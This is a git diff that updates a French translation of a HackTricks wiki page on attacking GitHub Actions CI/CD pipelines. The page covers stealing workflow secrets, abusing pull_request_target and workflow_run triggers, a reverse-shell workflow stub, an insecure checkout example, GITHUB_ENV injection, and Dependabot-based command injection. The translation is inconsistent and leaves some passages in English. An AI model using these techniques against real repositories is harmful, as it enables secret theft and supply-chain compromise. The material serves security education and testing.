mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-22 15:16:35 -08:00
Translated ['src/pentesting-cloud/azure-security/az-basic-information/az
This commit is contained in:
@@ -1,58 +1,58 @@
|
||||
# Abuser Github Actions
|
||||
# Abuser de Github Actions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Outils
|
||||
|
||||
Les outils suivants sont utiles pour trouver des workflows Github Action et même repérer ceux vulnérables :
|
||||
Les outils suivants sont utiles pour trouver des Github Action workflows et même en détecter des vulnérables :
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Consultez aussi sa checklist sur [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Vérifiez aussi sa checklist sur [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## Informations de base
|
||||
|
||||
Sur cette page, vous trouverez :
|
||||
|
||||
- Un **résumé de tous les impacts** lorsqu'un attaquant parvient à accéder à une Github Action
|
||||
- Différentes manières d'**obtenir l'accès à une action** :
|
||||
- Avoir les **permissions** nécessaires pour créer l'action
|
||||
- Un **résumé de tous les impacts** d'un attaquant parvenant à accéder à une Github Action
|
||||
- Différentes façons de **obtenir l'accès à une action** :
|
||||
- Disposer des **permissions** pour créer l'action
|
||||
- Abuser des triggers liés aux **pull request**
|
||||
- Abuser d'**autres techniques d'accès externes**
|
||||
- Pivot depuis un repo déjà compromis
|
||||
- Enfin, une section sur les **techniques post-exploitation pour abuser d'une action depuis l'intérieur** (provoquant les impacts mentionnés)
|
||||
- Abuser d'autres techniques d'**accès externe**
|
||||
- **Pivoting** depuis un repo déjà compromis
|
||||
- Enfin, une section sur les **post-exploitation techniques** pour abuser d'une action depuis l'intérieur (causer les impacts mentionnés)
|
||||
|
||||
## Résumé des impacts
|
||||
|
||||
Pour une introduction sur [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
|
||||
Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **repository**, vous pourrez peut-être :
|
||||
Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **repository**, vous pourriez être en mesure de :
|
||||
|
||||
- **Steal secrets** montés sur le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles que AWS et GCP.
|
||||
- **Compromise deployments** et autres **artifacts**.
|
||||
- Si le pipeline déploie ou stocke des assets, vous pourriez altérer le produit final, permettant une attaque de la chaîne d'approvisionnement.
|
||||
- **Execute code in custom workers** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
|
||||
- **Overwrite repository code**, selon les permissions associées au `GITHUB_TOKEN`.
|
||||
- **Voler des secrets** montés dans le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles que AWS et GCP.
|
||||
- **Compromettre des déploiements** et d'autres **artefacts**.
|
||||
- Si le pipeline déploie ou stocke des assets, vous pourriez altérer le produit final, permettant une supply chain attack.
|
||||
- **Exécuter du code dans des custom workers** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
|
||||
- **Écraser le code du repository**, selon les permissions associées au `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
Ce **secret** (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est fourni lorsque l'admin active cette option :
|
||||
Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est fourni lorsque l'admin active cette option :
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ce token est le même que celui qu'une **Github Application will use**, il peut donc accéder aux mêmes endpoints : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **allows cross-repository** access au sein de GitHub, donc un repo peut accéder à d'autres repos internes en utilisant le `GITHUB_TOKEN`.
|
||||
> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui permet l'accès inter-dépôts au sein de GitHub, ainsi un repo peut accéder à d'autres repos internes en utilisant le `GITHUB_TOKEN`.
|
||||
|
||||
Vous pouvez voir les **permissions** possibles de ce token ici : [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Vous pouvez voir les **permissions** possibles de ce token sur : [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Notez que le token **expire après la fin du job**.\
|
||||
Notez que le token **expire une fois le job terminé**.\
|
||||
Ces tokens ressemblent à ceci : `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Quelques actions intéressantes que vous pouvez effectuer avec ce token :
|
||||
Quelques actions intéressantes que vous pouvez faire avec ce token :
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -91,7 +91,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Sachez que, à plusieurs reprises, vous pourrez trouver **github user tokens inside Github Actions envs or in the secrets**. Ces tokens peuvent vous donner plus de privilèges sur le dépôt et l'organisation.
|
||||
> Notez que, à plusieurs reprises, vous pourrez trouver **github user tokens inside Github Actions envs or in the secrets**. Ces tokens peuvent vous donner davantage de privilèges sur le dépôt et l'organisation.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtenir reverse shell avec secrets</summary>
|
||||
<summary>Obtenir un reverse shell avec des secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
Il est possible de vérifier les permissions accordées à un Github Token dans les repositories d'autres utilisateurs en **vérifiant les logs** des actions :
|
||||
Il est possible de vérifier les permissions accordées à un Github Token dans les repositories d'autres utilisateurs **en vérifiant les logs** des actions :
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Exécution autorisée
|
||||
|
||||
> [!NOTE]
|
||||
> Ceci serait le moyen le plus simple de compromettre les Github actions, car ce cas suppose que vous avez la possibilité de **créer un nouveau repo dans l'organisation**, ou que vous disposez de **privilèges d'écriture sur un repository**.
|
||||
> Ce serait la manière la plus simple de compromettre les Github actions, car ce cas suppose que vous avez accès pour **créer un nouveau repo dans l'organisation**, ou que vous avez des **privilèges d'écriture sur un repository**.
|
||||
>
|
||||
> Si vous êtes dans ce scénario vous pouvez simplement consulter les [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
> Si vous êtes dans ce scénario vous pouvez juste check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Exécution lors de la création d'un Repo
|
||||
### Exécution depuis la création d'un repo
|
||||
|
||||
Si les membres d'une organisation peuvent **créer de nouveaux repos** et que vous pouvez exécuter des Github actions, vous pouvez **créer un nouveau repo et voler les secrets définis au niveau de l'organisation**.
|
||||
Dans le cas où les membres d'une organisation peuvent **créer de nouveaux repos** et que vous pouvez exécuter des Github actions, vous pouvez **créer un nouveau repo et voler les secrets définis au niveau de l'organisation**.
|
||||
|
||||
### Exécution depuis une nouvelle branche
|
||||
|
||||
Si vous pouvez **créer une nouvelle branche dans un repository qui contient déjà une Github Action** configurée, vous pouvez la **modifier**, **uploader** le contenu, puis **exécuter cette action depuis la nouvelle branche**. De cette façon vous pouvez **exfiltrer les secrets au niveau du repository et de l'organisation** (mais vous devez savoir comment ils s'appellent).
|
||||
Si vous pouvez **créer une nouvelle branche dans un repository qui contient déjà une Github Action** configurée, vous pouvez la **modifier**, **uploader** le contenu, et ensuite **exécuter cette action depuis la nouvelle branche**. De cette façon vous pouvez **exfiltrate repository and organization level secrets** (mais vous devez savoir comment ils sont appelés).
|
||||
|
||||
> [!WARNING]
|
||||
> Toute restriction implémentée uniquement dans le workflow YAML (par exemple, `on: push: branches: [main]`, conditionnels de job, ou gates manuelles) peut être éditée par des collaborateurs. Sans application externe (branch protections, protected environments, and protected tags), un contributeur peut retargeter un workflow pour l'exécuter sur sa branche et abuser des secrets/permissions montés.
|
||||
> Toute restriction implémentée uniquement dans le workflow YAML (par exemple, `on: push: branches: [main]`, job conditionals, ou manual gates) peut être éditée par des collaborateurs. Sans enforcement externe (branch protections, protected environments, and protected tags), un contributeur peut retarget a workflow to run on their branch and abuse mounted secrets/permissions.
|
||||
|
||||
Vous pouvez rendre l'action modifiée exécutable **manuellement,** lors de la création d'une **PR** ou lorsque **du code est poussé** (selon le niveau de bruit souhaité) :
|
||||
Vous pouvez rendre l'action modifiée exécutable **manuellement,** lorsque une **PR est créée** ou lorsque **du code est poussé** (selon le niveau de bruit que vous voulez générer) :
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -180,49 +180,49 @@ branches:
|
||||
```
|
||||
---
|
||||
|
||||
## Exécution depuis un fork
|
||||
## Exécution forkée
|
||||
|
||||
> [!NOTE]
|
||||
> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter un Github Action d'un autre dépôt**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait les compromettre.
|
||||
> Il existe différents déclencheurs qui peuvent permettre à un attaquant d'**exécuter une Github Action d'un autre repository**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait être en mesure de les compromettre.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
Le workflow trigger **`pull_request`** exécutera le workflow à chaque fois qu'une pull request est reçue avec quelques exceptions : par défaut, si c'est la **première fois** que vous **contribuez**, un **mainteneur** devra **approuver** l'**exécution** du workflow :
|
||||
Le trigger de workflow **`pull_request`** exécutera le workflow à chaque fois qu'une pull request est reçue, avec quelques exceptions : par défaut, si c'est la **première fois** que vous **contribuez**, un **maintainer** devra **approuver** la **run** du workflow :
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Comme la **limitation par défaut** concerne les contributeurs **pour la première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** puis envoyer **d'autres PRs pour abuser de vos nouvelles privilèges `pull_request`**.
|
||||
> Comme la **limitation par défaut** s'applique aux contributeurs **pour la première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** puis envoyer **d'autres PRs pour abuser de vos nouvelles privileges `pull_request`**.
|
||||
>
|
||||
> **J'ai testé ceci et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte avec le nom de quelqu'un qui a contribué au projet et supprimer son compte.~~
|
||||
> **J'ai testé ceci et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte avec le nom de quelqu'un qui a contribué au projet puis de supprimer son compte.~~
|
||||
|
||||
De plus, par défaut cela **empêche les permissions d'écriture** et **l'accès aux secrets** du dépôt cible comme mentionné dans la [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
De plus, par défaut cela **empêche les write permissions** et l'**accès aux secrets** du repository cible comme indiqué dans les [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) :
|
||||
|
||||
> À l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché depuis un dépôt **forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les pull requests **venant de dépôts forkés**.
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
|
||||
Un attaquant pourrait modifier la définition du Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler les secrets ni écraser le repo à cause des limitations mentionnées.
|
||||
Un attaquant pourrait modifier la définition de la Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler des secrets ni écraser le repo à cause des limitations mentionnées.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Oui : si l'attaquant modifie dans la PR le Github Action qui sera déclenché, c'est son Github Action qui sera utilisé et non celui du dépôt d'origine !**
|
||||
> **Oui, si l'attaquant modifie dans la PR la Github Action qui sera déclenchée, sa Github Action sera celle utilisée et non celle du repo d'origine !**
|
||||
|
||||
Comme l'attaquant contrôle aussi le code exécuté, même s'il n'y a pas de secrets ou de permissions d'écriture sur le `GITHUB_TOKEN`, il pourrait par exemple **téléverser des artefacts malveillants**.
|
||||
Comme l'attaquant contrôle aussi le code exécuté, même s'il n'y a pas de secrets ou de write permissions sur le `GITHUB_TOKEN`, un attaquant pourrait par exemple uploader des artifacts malveillants.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
Le workflow trigger **`pull_request_target`** a des **permissions d'écriture** sur le dépôt cible et **accès aux secrets** (et ne demande pas d'autorisation).
|
||||
Le trigger de workflow **`pull_request_target`** dispose de write permission sur le repository cible et d'accès aux secrets (et ne demande pas d'autorisation).
|
||||
|
||||
Notez que le workflow trigger **`pull_request_target`** **s'exécute dans le contexte de base** et non dans celui fourni par la PR (pour **ne pas exécuter du code non fiable**). Pour plus d'infos sur `pull_request_target` [**consultez la documentation**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
De plus, pour plus d'infos sur cet usage particulièrement dangereux, consultez ce [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Notez que le trigger de workflow **`pull_request_target`** **s'exécute dans le contexte base** et non dans celui fourni par la PR (afin de **ne pas exécuter de code non fiable**). Pour plus d'infos sur `pull_request_target` [**consultez les docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
De plus, pour plus d'infos sur cet usage spécifiquement dangereux, consultez ce [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
On pourrait penser que parce que le **workflow exécuté** est celui défini dans la **base** et **non dans la PR**, il est **sûr** d'utiliser **`pull_request_target`**, mais il y a quelques cas où ce n'est pas le cas.
|
||||
On pourrait penser que parce que le **workflow exécuté** est celui défini dans la **base** et non dans la PR, il est **sûr** d'utiliser **`pull_request_target`**, mais il existe **quelques cas où ce n'est pas le cas**.
|
||||
|
||||
Et celui-ci aura **accès aux secrets**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
Le trigger [**`workflow_run`**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permet d'exécuter un workflow depuis un autre lorsque celui-ci est `completed`, `requested` ou `in_progress`.
|
||||
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
Dans cet exemple, un workflow est configuré pour s'exécuter après l'achèvement du workflow séparé "Run Tests" :
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -230,28 +230,29 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
De plus, selon la documentation : le workflow démarré par l'événement `workflow_run` peut **accéder aux secrets et écrire des tokens, même si le workflow précédent ne le pouvait pas**.
|
||||
De plus, selon la documentation : le workflow démarré par l'événement `workflow_run` peut **accéder aux secrets et aux tokens d'écriture, même si le workflow précédent ne le pouvait pas**.
|
||||
|
||||
Ce type de workflow peut être attaqué s'il **dépend** d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Le premier consiste en un workflow déclenché par **`workflow_run`** qui télécharge le code de l'attaquant : `${{ github.event.pull_request.head.sha }}`. Le second consiste à **passer** un **artifact** provenant du code **untrusted** au workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à une RCE**.
|
||||
Ce type de workflow peut être attaqué s'il **dépend** d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Le premier consiste en un workflow déclenché par `workflow_run` qui télécharge le code de l'attaquant : `${{ github.event.pull_request.head.sha }}`\
|
||||
Le second consiste à **passer** un **artifact** provenant du code **non fiable** vers le workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à une RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
À FAIRE
|
||||
|
||||
TODO : Vérifier si, lorsqu'il est exécuté depuis un pull_request, le code utilisé/téléchargé est celui de l'origin ou celui du PR forké
|
||||
À FAIRE : vérifier si, lorsqu'il est exécuté depuis un pull_request, le code utilisé/téléchargé est celui de l'origin ou celui du PR forké
|
||||
|
||||
## Abusing Forked Execution
|
||||
|
||||
Nous avons mentionné toutes les manières dont un attaquant externe peut faire exécuter un workflow GitHub ; voyons maintenant comment ces exécutions, si mal configurées, peuvent être abusées :
|
||||
Nous avons mentionné toutes les façons dont un attaquant externe pourrait parvenir à faire exécuter un workflow github ; voyons maintenant comment ces exécutions, si mal configurées, peuvent être abusées :
|
||||
|
||||
### Untrusted checkout execution
|
||||
### Exécution de checkout non fiable
|
||||
|
||||
Dans le cas de **`pull_request`**, le workflow sera exécuté dans le **contexte du PR** (il exécutera donc le **code malveillant du PR**), mais quelqu'un doit d'abord **l'autoriser** et il s'exécutera avec certaines [limitations](#pull_request).
|
||||
Dans le cas de **`pull_request`**, le workflow va s'exécuter dans le **contexte de la PR** (donc il exécutera le **code malveillant de la PR**), mais quelqu'un doit **l'autoriser au préalable** et il s'exécutera avec certaines [limitations](#pull_request).
|
||||
|
||||
Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché par **`pull_request_target` ou `pull_request`**, le code du repo original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**.
|
||||
Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché depuis **`pull_request_target` ou `pull_request`**, le code du repo original sera exécuté, donc **l'attaquant ne peut pas contrôler le code exécuté**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Cependant, si l'**action** a un **checkout PR explicite** qui va **récupérer le code depuis le PR** (et non depuis la base), elle utilisera le code contrôlé par l'attaquant. Par exemple (vérifiez la ligne 12 où le code du PR est téléchargé) :
|
||||
> Cependant, si l'**action** effectue un **checkout PR explicite** qui va **récupérer le code depuis la PR** (et non depuis la base), elle utilisera le code contrôlé par l'attaquant. Par exemple (vérifiez la ligne 12 où le code de la PR est téléchargé) :
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
@@ -281,14 +282,14 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
Le code potentiellement **untrusted est exécuté pendant `npm install` ou `npm build`** car les scripts de build et les **packages** référencés sont contrôlés par l'auteur du PR.
|
||||
Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** puisque les scripts de build et les **packages référencés sont contrôlés par l'auteur de la PR**.
|
||||
|
||||
> [!WARNING]
|
||||
> Un github dork pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` toutefois, il existe différentes manières de configurer les jobs pour qu'ils s'exécutent de manière sécurisée même si l'action est configurée de façon non sécurisée (par exemple en utilisant des conditionnels sur qui est l'actor générant le PR).
|
||||
> Une dork GitHub pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` ; cependant, il existe différentes façons de configurer les jobs pour qu'ils s'exécutent de façon sécurisée même si l'action est configurée de manière non sécurisée (par exemple en utilisant des conditionnels sur qui est l'actor générant la PR).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Notez qu'il existe certains [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant le PR. Si l'action GitHub utilise ces **données pour exécuter quelque chose**, cela peut conduire à une **exécution de code arbitraire :**
|
||||
Notez qu'il existe certains [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant la PR. Si l'action github utilise ces **données pour exécuter quoi que ce soit**, cela peut conduire à une **exécution de code arbitraire :**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
@@ -296,17 +297,17 @@ gh-actions-context-script-injections.md
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
D'après la doc : vous pouvez rendre une **variable d'environnement disponible pour les étapes suivantes** d'un job en définissant ou en mettant à jour la variable et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
|
||||
D'après la documentation : vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** d'un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
|
||||
|
||||
Si un attaquant pouvait **injecter n'importe quelle valeur** dans cette variable **env**, il pourrait injecter des variables d'environnement capables d'exécuter du code dans les étapes suivantes, comme **LD_PRELOAD** ou **NODE_OPTIONS**.
|
||||
Si un attaquant pouvait **injecter n'importe quelle valeur** dans cette variable d'environnement, il pourrait injecter des variables d'environnement qui exécuteraient du code dans les étapes suivantes, comme **LD_PRELOAD** ou **NODE_OPTIONS**.
|
||||
|
||||
Par exemple ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact uploadé pour stocker son contenu dans la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait uploader quelque chose comme ceci pour le compromettre :
|
||||
Par exemple ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) et [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact uploadé pour stocker son contenu dans la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait uploader quelque chose comme ceci pour le compromettre :
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot and other trusted bots
|
||||
|
||||
Comme indiqué dans [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), plusieurs organisations ont une GitHub Action qui merge tout PRR venant de `dependabot[bot]` comme dans :
|
||||
Comme indiqué dans [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), plusieurs organisations ont une Github Action qui merge toute PR provenant de `dependabot[bot]` comme dans :
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -316,7 +317,7 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
Ce qui pose problème car le champ `github.actor` contient l'utilisateur qui a causé le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons de faire en sorte que l'utilisateur `dependabot[bot]` modifie une PR. Par exemple :
|
||||
Ce qui pose problème car le champ `github.actor` contient l'utilisateur qui a provoqué le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons de faire en sorte que l'utilisateur `dependabot[bot]` modifie un PR. Par exemple :
|
||||
|
||||
- Fork the victim repository
|
||||
- Add the malicious payload to your copy
|
||||
@@ -325,7 +326,7 @@ Ce qui pose problème car le champ `github.actor` contient l'utilisateur qui a c
|
||||
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
|
||||
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
|
||||
|
||||
Pour aller plus loin, que se passe-t-il si, au lieu de merger, la Github Action comportait une injection de commande comme dans :
|
||||
Moving on, what if instead of merging the Github Action would have a command injection like in:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -335,20 +336,20 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Eh bien, l'article original propose deux options pour abuser de ce comportement, la deuxième étant :
|
||||
Bon, le billet original propose deux options pour abuser ce comportement, la seconde étant :
|
||||
|
||||
- Fork le dépôt victime et activer Dependabot avec une dépendance obsolète.
|
||||
- Create a new branch with the malicious shell injection code.
|
||||
- Change the default branch of the repo to that one
|
||||
- Create a PR from this branch to the victim repository.
|
||||
- Run `@dependabot merge` in the PR Dependabot opened in his fork.
|
||||
- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
|
||||
- Créez un fork du dépôt victime et activez Dependabot avec une dépendance obsolète.
|
||||
- Créez une nouvelle branche avec le malicious shell injeciton code.
|
||||
- Changez la branche par défaut du dépôt pour celle-ci
|
||||
- Créez une PR depuis cette branche vers le dépôt victime.
|
||||
- Exécutez `@dependabot merge` dans la PR que Dependabot a ouverte dans son fork.
|
||||
- Dependabot fusionnera ses modifications dans la branche par défaut de votre dépôt forké, mettant à jour la PR dans le dépôt victime, faisant maintenant du `dependabot[bot]` l'acteur du dernier événement qui a déclenché le workflow et utilisant un nom de branche malveillant.
|
||||
|
||||
### Github Actions de tiers vulnérables
|
||||
### Github Actions tierces vulnérables
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
Comme mentionné dans [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette Github Action permet d'accéder à des artifacts provenant de différents workflows et même de repositories.
|
||||
Comme mentionné dans [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette Github Action permet d'accéder aux artifacts de différents workflows et même de dépôts.
|
||||
|
||||
Le problème est que si le paramètre **`path`** n'est pas défini, l'artifact est extrait dans le répertoire courant et il peut écraser des fichiers qui pourraient ensuite être utilisés ou même exécutés dans le workflow. Par conséquent, si l'Artifact est vulnérable, un attaquant pourrait abuser de cela pour compromettre d'autres workflows faisant confiance à l'Artifact.
|
||||
|
||||
@@ -392,14 +393,14 @@ path: ./script.py
|
||||
```
|
||||
---
|
||||
|
||||
## Autre accès externe
|
||||
## Autres accès externes
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
|
||||
> [!CAUTION]
|
||||
> Donc si une action utilise un repo provenant d'un compte non existant, il est toujours possible qu'un attaquant crée ce compte et compromette l'action.
|
||||
> Donc, si une action utilise un repo provenant d'un compte inexistant, il reste possible qu'un attaquant crée ce compte et compromette l'action.
|
||||
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
@@ -408,7 +409,7 @@ If other repositories where using **dependencies from this user repos**, an atta
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> Dans cette section nous parlerons de techniques qui permettraient de **pivot from one repo to another** en supposant que nous ayons un certain accès au premier (voir la section précédente).
|
||||
> Dans cette section nous parlerons des techniques qui permettent de **pivot from one repo to another** en supposant que nous avons un certain accès au premier (voir la section précédente).
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
@@ -434,7 +435,7 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
|
||||
|
||||
Example:
|
||||
Exemple:
|
||||
```yaml
|
||||
